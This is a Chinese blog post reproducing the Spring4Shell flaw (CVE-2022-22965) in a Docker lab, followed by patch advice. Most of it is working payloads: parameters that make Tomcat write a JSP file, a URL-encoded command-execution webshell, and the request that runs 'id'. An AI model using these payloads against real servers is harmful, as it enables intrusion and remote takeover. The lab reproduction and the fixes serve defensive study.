spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)
3 月 30 日,国家信息安全漏洞共享平台(CNVD)接收到蚂蚁科技集团股份有限公司报送的 Spring 框架远程命令执行漏洞(CNVD-2022-23942)。攻击者利用该漏洞,可在未授权的情况下远程执行命令。CNVD 对该漏洞的综合评级为“高危”。
漏洞利用条件:
- jdk9+
- Spring 及其衍生框架
- 使用tomcat部署spring项目
- 使用了POJO参数绑定
- Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20 或者其他版本
漏洞复现:
使用docker搭建SpringCore RCE测试环境
docker pull vulfocus/spring-core-rce-2022-03-29 //下载靶场
docker run -dit -p 8090:8080 vulfocus/spring-core-rce-2022-03-29 //运行靶场
访问8090端口,搭建成功
完整测试payload:
//脚本内容,输入测试内容test
class.module.classLoader.resources.context.parent.pipeline.first.pattern=test
//修改tomcat日志文件后缀,javaweb搭建的环境,这里改为.jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
//写入文件到网站根目录,根目录是webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
//写入文件名称为test
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
//文件日期格式(实际构造为空值即可)
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
GET利用:(按顺序逐条发送payload)
class.module.classLoader.resources.context.parent.pipeline.first.pattern=test
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
POST利用:(一次性发送整个测试payload)
class.module.classLoader.resources.context.parent.pipeline.first.pattern=test&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
访问http://192.168.96.155:8090/test.jsp,文件存在,这里是因为我之前写入过其他
查看docker下的test.jsp文件:
docker ps //查看docker进程
docker exec -it fad4f4c30324 /bin/bash // 进入靶场容器
cd /app/tomcat/webapps/ROOT //进入网站根目录
可以看到,test是刚刚写入的内容
写入木马: GET或者POST方法都可以
请求内容:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
http头部添加:
suffix:%>//
c1:Runtime
c2:<%
如下:
执行命令:
pwd=t&cmd=id
漏洞原理分析:
Spring Framework CVE-2022-22965漏洞详细分析 - 简书
漏洞修复:
方案1:升级到Spring Framework 5.3.18 和 5.2.20
方案2:
Spring 官方建议通过 @ControllerAdvice 来设置 WebDataBinder 的 disallowedFields。
这个解决方案通常会有效,但也并不是 100% 可以阻止漏洞。
为了更加保险一些,Spring.io 还建议应用程序可以扩展 RequestMappingHandlerAdapter,同时在所有其他初始化之后,在最后更新WebDataBinder。
参考链接:
【Vulfocus漏洞复现】spring-core-rce-2022-03-29_青果@的博客-CSDN博客
Spring 官方证实:框架爆大漏洞,JDK 9 及以上版本均受影响
spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)相关推荐
- 【安全风险通告】Spring Framework远程代码执行漏洞(CVE-2022-22965)安全风险通告第二次更新...
奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Framework存在远程代码执行漏洞(CVE-2022-22965),在 ...
- 安全修复之Web——Spring Framework 远程代码执行漏洞
安全修复之Web--Spring Framework 远程代码执行漏洞 背景 日常我们开发时,会遇到各种各样的奇奇怪怪的问题(踩坑o(╯□╰)o),这个常见问题系列就是我日常遇到的一些问题的记录文章系 ...
- 【高危漏洞通告】Spring Framework 远程代码执行 (CVE-2022-22965)
[高危漏洞通告]Spring Framework 远程代码执行 (CVE-2022-22965)漏洞通告 一. 漏洞情况 Spring 框架(Framework)是一个开源的轻量级 J2EE 应 ...
- Office 远程代码执行漏洞复现过程
本文来自作者肖志华在 GitChat 上分享 「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭 直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...
- ThinkPHP 5.0.23 远程代码执行 漏洞复现
ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...
- [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- 用友NC BeanShell远程代码执行漏洞复现
用友NC远程代码执行漏洞复现 漏洞介绍 用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一.该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接 ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
最新文章
- sentinel 时间窗口_Sentinel使用令牌桶实现预热【原理源码】
- 【Win 10 应用开发】UI Composition 札记(二):基本构件
- 在Windows XP 中使用Active Directory(活动目录)
- jQuery—淘宝精品服饰案例
- Java中的低延迟FIX引擎
- java中start与loop_java for-loop问题
- 风格化图像_CVPR2019:基于神经网络纹理转换的图像超分辨率
- sklearn 3.随机森林(菜菜课程)
- 程序员面试金典——17.4无判断max
- js获取td的html,js中获取 table节点各tr及td的内容简单实例
- macOS远程管理linux,MacOS远程控制工具
- LU分解_SVD分解
- 纯html5单击箭头切换图片,简单的实现点击箭头图片切换的js代码
- 2019杭州电子科技大学计算机考研经验谈
- html音乐游戏,音乐游戏有哪些? 音乐游戏推荐
- C语言基础学习——编译过程
- Failed to convert property value of type 'java.lang.String' to required type 'java.util.Date'
- 用 java eclipse画出一个圆形并且可以控制半径大小
- centos安装MySQL到指定盘_Centos下安装mysql 和挂载硬盘
- i7 10750h和i7 10870h 的区别